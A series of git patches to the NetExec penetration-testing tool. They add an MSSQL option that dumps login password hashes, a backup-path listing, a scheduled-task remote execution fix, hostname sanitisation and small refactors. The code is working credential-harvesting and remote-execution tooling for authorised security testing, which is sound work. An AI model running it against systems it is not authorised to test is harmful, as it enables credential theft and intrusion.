f"CN=Deleted Objects,{self.connection.baseDN}" # LDAP control necessary to show the deleted objects LDAP_SERVER_SHOW_DELETED_OID show_deleted_control = Control() @@ -151,18 +147,23 @@ def query_deleted_objects(self, context): context.log.highlight("No objects are in a tombstone state") return False - context.log.highlight(f"Found {len(resp) - 1} deleted objects") + number_of_deleted_objects = 0 context.log.highlight("") for entries in resp_parsed: # This check ensures that we skip the result for the Default container and only get results that are valid for us. if "container" in entries["objectClass"] and entries["description"] == "Default container for deleted objects": + continue - context.log.highlight(f"{'sAMAccountName':<20}: {entries['sAMAccountName']}") - context.log.highlight(f"{'dn':<20}: {entries['distinguishedName']}") - context.log.highlight(f"{'ID':<20}: {entries['name'].split(':')[1]}") - context.log.highlight(f"{'isDeleted':<20}: {entries['isDeleted']}") - context.log.highlight(f"{'lastKnownParent':<20}: {entries['lastKnownParent']}") + context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}") + context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}") + context.log.highlight(f"{'ID':<20}: {entries.get('name', '').split(':')[1]}") + context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}") + context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}") context.log.highlight("") + + number_of_deleted_objects += 1 + + context.log.highlight(f"Found {number_of_deleted_objects} deleted objects") From 5f45de2b9055f34a522117dee169dd536bf9fbc6 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Thu, 28 May 2026 15:27:23 +0200 Subject: [PATCH 046/397] Fix atexec task execution on 2025 servers --- nxc/protocols/smb/atexec.py | 25 +++++++++++++++++-------- 1 file changed, 17 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py index d1514becb1..72c854b94b 100755 --- a/nxc/protocols/smb/atexec.py +++ b/nxc/protocols/smb/atexec.py @@ -156,16 +156,25 @@ def execute_handler(self, command): return try: - done = False - while not done: - self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}") + tsch.hSchRpcRun(dce, f"\\{self.task_name}") + except tsch.DCERPCSessionError as e: + self.logger.debug(f"hSchRpcRun returned: {e}") + + done = False + while not done: + self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}") + try: resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}") - if resp["pLastRuntime"]["wYear"] != 0: - done = True - else: + except tsch.DCERPCSessionError as e: + if e.error_code == 0x00041303: sleep(2) - except tsch.DCERPCSessionError as e: - self.logger.fail(f"Error retrieving task last run info: {e}") + continue + self.logger.fail(f"Error retrieving task last run info: {e}") + break + if resp["pLastRuntime"]["wYear"] != 0: + done = True + else: + sleep(2) self.logger.info(f"Deleting task \\{self.task_name}") tsch.hSchRpcDelete(dce, f"\\{self.task_name}") From e7304d9ec9fd2d45935842670c0ac0251462ef75 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Mon, 1 Jun 2026 17:39:07 +0200 Subject: [PATCH 047/397] Add local database hash dump --db-hash --- nxc/protocols/mssql.py | 40 +++++++++++++++++++++++++++++++ nxc/protocols/mssql/proto_args.py | 1 + 2 files changed, 41 insertions(+) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index b7edc248ec..d2caaba0bf 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -618,3 +618,43 @@ def lsa(self): ) LSA.dumpCachedHashes() LSA.dumpSecrets() + + @requires_admin + def db_hash(self): + self.logger.info("Dumping local database users' hashes") + query = """ + SELECT + sp.name, + CASE sp.type_desc + WHEN 'SQL_LOGIN' THEN 'SQL User' + WHEN 'WINDOWS_LOGIN' THEN + CASE + WHEN sp.name LIKE '{domain_prefix}%' THEN 'Domain User' + WHEN sp.name LIKE '%\\%' THEN 'Local User' + ELSE 'Local User' + END + WHEN 'WINDOWS_GROUP' THEN 'Windows Group' + WHEN 'CERTIFICATE_MAPPED_LOGIN' THEN 'Certificate Login' + WHEN 'ASYMMETRIC_KEY_MAPPED_LOGIN' THEN 'Asymmetric Key Login' + ELSE sp.type_desc + END as login_type, + sl.password_hash + FROM sys.server_principals sp + LEFT JOIN sys.sql_logins sl ON sp.principal_id = sl.principal_id + WHERE sp.type IN ('S', 'U', 'G', 'C', 'K') + AND sp.name NOT LIKE '##%' + ORDER BY login_type, sp.name; + """ + rows = self.conn.sql_query(query) or [] + if not rows: + self.logger.display("No databases returned") + return + else: + self.logger.display("Enumerated logins") + self.logger.highlight(f"{'Login Name':<15} {'Database hash':<140}") + self.logger.highlight(f"{'----------':<15} {'----------':<140}") + for row in rows: + name = row.get("name") + password_hash = row.get("password_hash") + if password_hash != "NULL": + self.logger.highlight(f"{name:<15} {password_hash.decode():<140}") diff --git a/nxc/protocols/mssql/proto_args.py b/nxc/protocols/mssql/proto_args.py index 9d494ed44e..c72d7536f7 100644 --- a/nxc/protocols/mssql/proto_args.py +++ b/nxc/protocols/mssql/proto_args.py @@ -16,6 +16,7 @@ def proto_args(parser, parents): cgroup = mssql_parser.add_argument_group("Credential Gathering") cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") + cgroup.add_argument("--db-hash", action="store_true", help="dump local database hashes") cgroup = mssql_parser.add_argument_group("Command Execution") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") From 412b97af502bd311171650935e4bf59f76b37009 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Mon, 1 Jun 2026 17:42:22 +0200 Subject: [PATCH 048/397] Add e2e test commands --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 4713e1b9dd..60c5ed5c34 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -270,6 +270,7 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-bru netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --database netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --db-hash ##### MSSQL PowerShell netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 From 3c7497e728b81a1889f4629e3c88c29614e1ebc7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Mon, 1 Jun 2026 17:45:04 +0200 Subject: [PATCH 049/397] Factorise SQL request --- nxc/protocols/mssql.py | 9 --------- 1 file changed, 9 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index d2caaba0bf..fd001b7510 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -627,15 +627,6 @@ def db_hash(self): sp.name, CASE sp.type_desc WHEN 'SQL_LOGIN' THEN 'SQL User' - WHEN 'WINDOWS_LOGIN' THEN - CASE - WHEN sp.name LIKE '{domain_prefix}%' THEN 'Domain User' - WHEN sp.name LIKE '%\\%' THEN 'Local User' - ELSE 'Local User' - END - WHEN 'WINDOWS_GROUP' THEN 'Windows Group' - WHEN 'CERTIFICATE_MAPPED_LOGIN' THEN 'Certificate Login' - WHEN 'ASYMMETRIC_KEY_MAPPED_LOGIN' THEN 'Asymmetric Key Login' ELSE sp.type_desc END as login_type, sl.password_hash From 7cad502a16c51cc6b764e394ab9da18aa4a6c633 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Mon, 1 Jun 2026 17:58:09 +0200 Subject: [PATCH 050/397] Add --backups --- nxc/protocols/mssql.py | 29 +++++++++++++++++++++++++++++ nxc/protocols/mssql/proto_args.py | 1 + tests/e2e_commands.txt | 1 + 3 files changed, 31 insertions(+) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index b7edc248ec..3aef70e3c6 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -618,3 +618,32 @@ def lsa(self): ) LSA.dumpCachedHashes() LSA.dumpSecrets() + + @requires_admin + def backups(self): + self.logger.info("Dumping database backups") + query = """ + SELECT + bs.database_name, + bs.server_name, + bmf.physical_device_name AS backup_file_path + FROM msdb.dbo.backupset bs + INNER JOIN msdb.dbo.backupmediafamily bmf + ON bs.media_set_id = bmf.media_set_id + INNER JOIN sys.databases d + ON bs.database_name = d.name + ORDER BY bs.backup_finish_date DESC; + """ + + rows = self.conn.sql_query(query) or [] + if not rows: + self.logger.display("No backups returned") + return + else: + self.logger.display("Enumerated backups") + self.logger.highlight(f"{'Backup Name':<30} {'Backup Path'}") + self.logger.highlight(f"{'----------':<30} {'----------'}") + for row in rows: + database_name = row.get("database_name").strip() + backup_file_path = row.get("backup_file_path").strip() + self.logger.highlight(f"{database_name:<30} {backup_file_path}") diff --git a/nxc/protocols/mssql/proto_args.py b/nxc/protocols/mssql/proto_args.py index 9d494ed44e..e75ae1bc29 100644 --- a/nxc/protocols/mssql/proto_args.py +++ b/nxc/protocols/mssql/proto_args.py @@ -36,4 +36,5 @@ def proto_args(parser, parents): mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration") mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs") + mapping_enum_group.add_argument("--backups", action="store_true", help="dump database backups path") return parser diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 4713e1b9dd..afd49c951f 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -270,6 +270,7 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-bru netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --database netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --backups ##### MSSQL PowerShell netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 From b96c7899eecddd3a8620d332f65cf865e3bcf408 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Tue, 2 Jun 2026 11:16:56 +0200 Subject: [PATCH 051/397] Patch futur reviews from Azox --- nxc/protocols/mssql.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 3aef70e3c6..d55481a492 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -634,8 +634,10 @@ def backups(self): ON bs.database_name = d.name ORDER BY bs.backup_finish_date DESC; """ - - rows = self.conn.sql_query(query) or [] + rows = self.conn.sql_query(query) + if self.conn.lastError: + self.logger.fail(f"Error running the SQL query: {self.conn.lastError}") + return if not rows: self.logger.display("No backups returned") return From 2c5abef853f983d57930698a2ef45ee227787d15 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Tue, 2 Jun 2026 11:19:42 +0200 Subject: [PATCH 052/397] Patch futur reviews from Azox --- nxc/protocols/mssql.py | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index fd001b7510..aed3c5bb8d 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -625,18 +625,17 @@ def db_hash(self): query = """ SELECT sp.name, - CASE sp.type_desc - WHEN 'SQL_LOGIN' THEN 'SQL User' - ELSE sp.type_desc - END as login_type, sl.password_hash FROM sys.server_principals sp LEFT JOIN sys.sql_logins sl ON sp.principal_id = sl.principal_id WHERE sp.type IN ('S', 'U', 'G', 'C', 'K') AND sp.name NOT LIKE '##%' - ORDER BY login_type, sp.name; + ORDER BY sp.name; """ - rows = self.conn.sql_query(query) or [] + rows = self.conn.sql_query(query) + if self.conn.lastError: + self.logger.fail(f"Error running the SQL query: {self.conn.lastError}") + return if not rows: self.logger.display("No databases returned") return From 7fed03bd6af400fe230b12250e0d12f3a17d7cec Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Tue, 2 Jun 2026 11:20:32 +0200 Subject: [PATCH 053/397] Patch futur reviews from Azox --- nxc/protocols/mssql.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index aed3c5bb8d..c110eb263f 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -621,7 +621,7 @@ def lsa(self): @requires_admin def db_hash(self): - self.logger.info("Dumping local database users' hashes") + self.logger.display("Dumping local database users' hashes") query = """ SELECT sp.name, From 50d910318139b2f2f44631b3a5780b2f0a7a7397 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Tue, 2 Jun 2026 11:22:34 +0200 Subject: [PATCH 054/397] Patch futur reviews from Azox --- nxc/protocols/mssql.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index c110eb263f..8b49a28036 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -637,7 +637,7 @@ def db_hash(self): self.logger.fail(f"Error running the SQL query: {self.conn.lastError}") return if not rows: - self.logger.display("No databases returned") + self.logger.display("No logins returned") return else: self.logger.display("Enumerated logins") From cfc91231425ad7f87a9d8f83ed85af3cbff66f72 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Tue, 2 Jun 2026 11:47:37 +0200 Subject: [PATCH 055/397] Refactor the --database argument to comply with security checks --- nxc/protocols/mssql.py | 72 +++++++++++++++++++++--------------------- 1 file changed, 36 insertions(+), 36 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index b7edc248ec..a08650c675 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -483,27 +483,27 @@ def _qname(self, ident: str) -> str: return "[" + str(ident).replace("]", "]]") + "]" def list_databases(self): - try: - q = ( - "SELECT d.name AS DatabaseName, " - " suser_sname(d.owner_sid) AS Owner " - "FROM sys.databases d " - "ORDER BY d.name;" - ) - rows = self.conn.sql_query(q) or [] - if not rows: - self.logger.display("No databases returned") - return + query = """ + SELECT d.name AS DatabaseName, + suser_sname(d.owner_sid) AS Owner + FROM sys.databases d + ORDER BY d.name; + """ + rows = self.conn.sql_query(query) + if self.conn.lastError: + self.logger.fail(f"Error running the SQL query: {self.conn.lastError}") + if not rows: + self.logger.display("No databases returned") + return - self.logger.display("Enumerated databases") - self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}") - self.logger.highlight(f"{'-' * 30} {'-' * 25}") - for r in rows: - self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}") - self.logger.highlight(f"Total: {len(rows)} database(s)") - except Exception as e: - self.logger.fail(f"Failed to enumerate databases: {e}") - self.logger.debug("list_databases error", exc_info=True) + self.logger.display("Enumerated databases") + self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}") + self.logger.highlight(f"{'-' * 30} {'-' * 25}") + for row in rows: + database_name = row.get("DatabaseName", "") + owner = row.get("Owner", "") + self.logger.highlight(f"{database_name:<30} {owner:<25}") + self.logger.highlight(f"Total: {len(rows)} database(s)") def database(self): db_arg = self.args.database @@ -515,24 +515,24 @@ def database(self): # nxc --database -> tables if isinstance(db_arg, str): - try: - safe = db_arg.replace("'", "''") - exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';") - if not exists: - self.logger.fail(f"Database [{db_arg}] does not exist on the server.") - return - - tq = ( - f"SELECT t.name AS TableName, t.modify_date " - f"FROM {self._qname(db_arg)}.sys.tables t " - f"ORDER BY t.name;" - ) - rows = self.conn.sql_query(tq) or [] - except Exception as e: - self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}") - self.logger.debug("database() error", exc_info=True) + safe = db_arg.replace("'", "''") + exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';") + if self.conn.lastError: + self.logger.fail(f"Error running the SQL query: {self.conn.lastError}") + if not exists: + self.logger.fail(f"Database [{db_arg}] does not exist on the server.") return + query = f""" + SELECT t.name AS TableName, t.modify_date + FROM {self._qname(db_arg)}.sys.tables t + ORDER BY t.name; + """ + rows = self.conn.sql_query(query) + + if self.conn.lastError: + self.logger.fail(f"Error running the SQL query: {self.conn.lastError}") + if not rows: self.logger.display(f"Database [{db_arg}] has no user tables.") return From e2a7b853d717069e49a7c6958c88a7c7335abdf4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Tue, 2 Jun 2026 11:53:10 +0200 Subject: [PATCH 056/397] Remove @requires_admin as it is not --- nxc/protocols/mssql.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index d55481a492..82c5ea838b 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -619,7 +619,6 @@ def lsa(self): LSA.dumpCachedHashes() LSA.dumpSecrets() - @requires_admin def backups(self): self.logger.info("Dumping database backups") query = """ From 262487ba039550ba51e67af95191040dbae2fb63 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Tue, 2 Jun 2026 12:44:12 +0200 Subject: [PATCH 057/397] Switch --backups to --list-backups --- nxc/protocols/mssql.py | 2 +- nxc/protocols/mssql/proto_args.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 82c5ea838b..25d3699d88 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -619,7 +619,7 @@ def lsa(self): LSA.dumpCachedHashes() LSA.dumpSecrets() - def backups(self): + def list_backups(self): self.logger.info("Dumping database backups") query = """ SELECT diff --git a/nxc/protocols/mssql/proto_args.py b/nxc/protocols/mssql/proto_args.py index e75ae1bc29..3293bdd5ad 100644 --- a/nxc/protocols/mssql/proto_args.py +++ b/nxc/protocols/mssql/proto_args.py @@ -36,5 +36,5 @@ def proto_args(parser, parents): mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration") mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs") - mapping_enum_group.add_argument("--backups", action="store_true", help="dump database backups path") + mapping_enum_group.add_argument("--list-backups", action="store_true", help="dump database backups path") return parser From 77f7f192231f94649fb1856a5dff656d937c8da8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Tue, 2 Jun 2026 13:48:03 +0200 Subject: [PATCH 058/397] Fix e2e --- tests/e2e_commands.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index afd49c951f..4417b3c208 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -270,7 +270,7 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-bru netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --database netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --backups +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-backups ##### MSSQL PowerShell netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 From c20060a64a11aa08f697344bcb58aa63b8acf4cb Mon Sep 17 00:00:00 2001 From: TristanInSec Date: Tue, 2 Jun 2026 16:49:46 -0400 Subject: [PATCH 059/397] Refactor hostname sanitization into helpers/misc.py Move the hostname sanitization regex from an inline check in connection.py into a reusable sanitize_hostname() function in nxc/helpers/misc.py, and apply it at the source in each protocol's enum_host_info where hostnames are received from NTLM/server data. Protocols covered: SMB, WinRM, WMI, MSSQL, RDP. Addresses review feedback on PR #1243. --- nxc/connection.py | 5 ----- nxc/helpers/misc.py | 14 ++++++++++++++ nxc/protocols/mssql.py | 4 ++-- nxc/protocols/rdp.py | 3 ++- nxc/protocols/smb.py | 2 ++ nxc/protocols/winrm.py | 3 ++- nxc/protocols/wmi.py | 3 ++- 7 files changed, 24 insertions(+), 10 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index 76a1392ee4..f20d05ddaa 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -1,6 +1,5 @@ from datetime import datetime import os -import re import random import sys import contextlib @@ -246,10 +245,6 @@ def proto_flow(self): else: self.logger.debug("Created connection object") self.enum_host_info() - sanitized = re.sub(r'[^\w\-.]', '_', self.hostname) - if sanitized != self.hostname: - self.logger.display(f"Hostname contains invalid characters (received: {self.hostname!r}), sanitized to: {sanitized!r}") - self.hostname = sanitized # Construct the output file template using os.path.join for OS compatibility base_log_dir = os.path.join(NXC_PATH, "logs") diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index dd9dbe8705..68ca41edf1 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -26,6 +26,20 @@ def gen_random_string(length=10): return "".join(random.sample(string.ascii_letters, int(length))) +_HOSTNAME_SANITIZE_RE = re.compile(r"[^\w\-.]") + + +def sanitize_hostname(hostname, logger=None): + """Strip characters from a server-provided hostname that could cause path + traversal, newline injection, or format-string issues when used in file + paths or output content. Logs a warning when the value is modified. + """ + sanitized = _HOSTNAME_SANITIZE_RE.sub("_", hostname) + if sanitized != hostname and logger: + logger.display(f"Hostname contained invalid characters (received: {hostname!r}), sanitized to: {sanitized!r}") + return sanitized + + def validate_ntlm(data): allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE) return bool(allowed.match(data)) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index b7edc248ec..8127bf3d7b 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -6,7 +6,7 @@ from nxc.config import process_secret, host_info_colors from nxc.connection import connection from nxc.connection import requires_admin -from nxc.helpers.misc import gen_random_string +from nxc.helpers.misc import gen_random_string, sanitize_hostname from nxc.logger import NXCAdapter from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message @@ -138,7 +138,7 @@ def enum_host_info(self): if challenge.startswith(b"NTLMSSP\x00"): ntlm_info = parse_challenge(challenge) self.targetDomain = self.domain = ntlm_info["domain"] - self.hostname = ntlm_info["hostname"] + self.hostname = sanitize_hostname(ntlm_info["hostname"], self.logger) self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname else: diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index fdbdd923c4..a84dda304e 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -8,6 +8,7 @@ from impacket.krb5.ccache import CCache from nxc.connection import connection +from nxc.helpers.misc import sanitize_hostname from nxc.helpers.bloodhound import add_user_bh from nxc.logger import NXCAdapter from nxc.config import host_info_colors, process_secret @@ -142,7 +143,7 @@ def create_conn_obj(self): pass else: self.domain = info_domain["dnsdomainname"] - self.hostname = info_domain["computername"] + self.hostname = sanitize_hostname(info_domain["computername"], self.logger) self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"]) self.logger.extra["hostname"] = self.hostname break diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 6c5618464e..431ad051f8 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -6,6 +6,7 @@ import ipaddress from Cryptodome.Hash import MD4 from textwrap import dedent +from nxc.helpers.misc import sanitize_hostname from impacket.smbconnection import SMBConnection, SessionError from impacket.smb import SMB_DIALECT @@ -200,6 +201,7 @@ def enum_host_info(self): self.hostname = dns_hostname else: self.hostname = self.conn.getServerName() + self.hostname = sanitize_hostname(self.hostname, self.logger) self.targetDomain = self.conn.getServerDNSDomainName() if not self.targetDomain: # Not sure if that can even happen but now we are safe self.targetDomain = self.hostname diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index 50bd0010fa..3f758b8c9f 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -8,6 +8,7 @@ import xml.etree.ElementTree as ET from pypsrp.wsman import NAMESPACES +from nxc.helpers.misc import sanitize_hostname from pypsrp.client import Client from pypsrp.powershell import PSDataStreams from termcolor import colored @@ -68,7 +69,7 @@ def enum_host_info(self): return False self.targetDomain = self.domain = ntlm_info["domain"] - self.hostname = ntlm_info["hostname"] + self.hostname = sanitize_hostname(ntlm_info["hostname"], self.logger) self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index c5e5af0dea..845adc0702 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -2,6 +2,7 @@ from io import StringIO from nxc.helpers.negotiate_parser import parse_challenge +from nxc.helpers.misc import sanitize_hostname from nxc.config import process_secret from nxc.connection import connection, dcom_FirewallChecker, requires_admin from nxc.logger import NXCAdapter @@ -130,7 +131,7 @@ def enum_host_info(self): bindResp = MSRPCBindAck(response.getData()) ntlm_info = parse_challenge(bindResp["auth_data"]) self.targetDomain = self.domain = ntlm_info["domain"] - self.hostname = ntlm_info["hostname"] + self.hostname = sanitize_hostname(ntlm_info["hostname"], self.logger) self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname else: From 09f3f823c64333e3c4506f068c47c38e7eb08b35 Mon Sep 17 00:00:00 2001 From: TristanInSec Date: Sat, 6 Jun 2026 16:19:38 -0400 Subject: [PATCH 060/397] Address review: make logger required, use .fail() for sanitization warnings --- nxc/helpers/misc.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index 68ca41edf1..2aa98d138f 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -29,14 +29,14 @@ def gen_random_string(length=10): _HOSTNAME_SANITIZE_RE = re.compile(r"[^\w\-.]") -def sanitize_hostname(hostname, logger=None): +def sanitize_hostname(hostname, logger): """Strip characters from a server-provided hostname that could cause path traversal, newline injection, or format-string issues when used in file paths or output content. Logs a warning when the value is modified. """ sanitized = _HOSTNAME_SANITIZE_RE.sub("_", hostname) - if sanitized != hostname and logger: - logger.display(f"Hostname contained invalid characters (received: {hostname!r}), sanitized to: {sanitized!r}") + if sanitized != hostname: + logger.fail(f"Hostname contained invalid characters (received: {hostname!r}), sanitized to: {sanitized!r}") return sanitized From c01dc7f84db9d1cbdf862414073b616c93e1dedc Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Fri, 12 Jun 2026 16:45:24 +0300 Subject: [PATCH 061/397] Update build-binaries.yml Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- .github/workflows/build-binaries.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-binaries.yml b/.github/workflows/build-binaries.yml index 457670a3d0..dac3a4d930 100644 --- a/.github/workflows/build-binaries.yml +++ b/.github/workflows/build-binaries.yml @@ -9,7 +9,7 @@ jobs: runs-on: ${{ matrix.os }} strategy: matrix: - os: [ubuntu-latest, macOS-latest, windows-latest] + os: [ubuntu-latest, macOS-latest, macos-26-intel, windows-latest] python-version: ["3.13"] #python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version steps: From 2686436eb5d33386a1b04cfdd2b36f8f6f620dea Mon Sep 17 00:00:00 2001 From: T1erno Date: Tue, 16 Jun 2026 22:27:18 -0600 Subject: [PATCH 062/397] Fix for backup_operator module --- nxc/modules/backup_operator.py | 131 +++++++++++++++++++++++---------- 1 file changed, 93 insertions(+), 38 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 5c27b9e1c1..eb57420abd 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -17,9 +17,10 @@ class NXCModule: def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options - self.domain_admin = None - self.domain_admin_hash = None - self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were 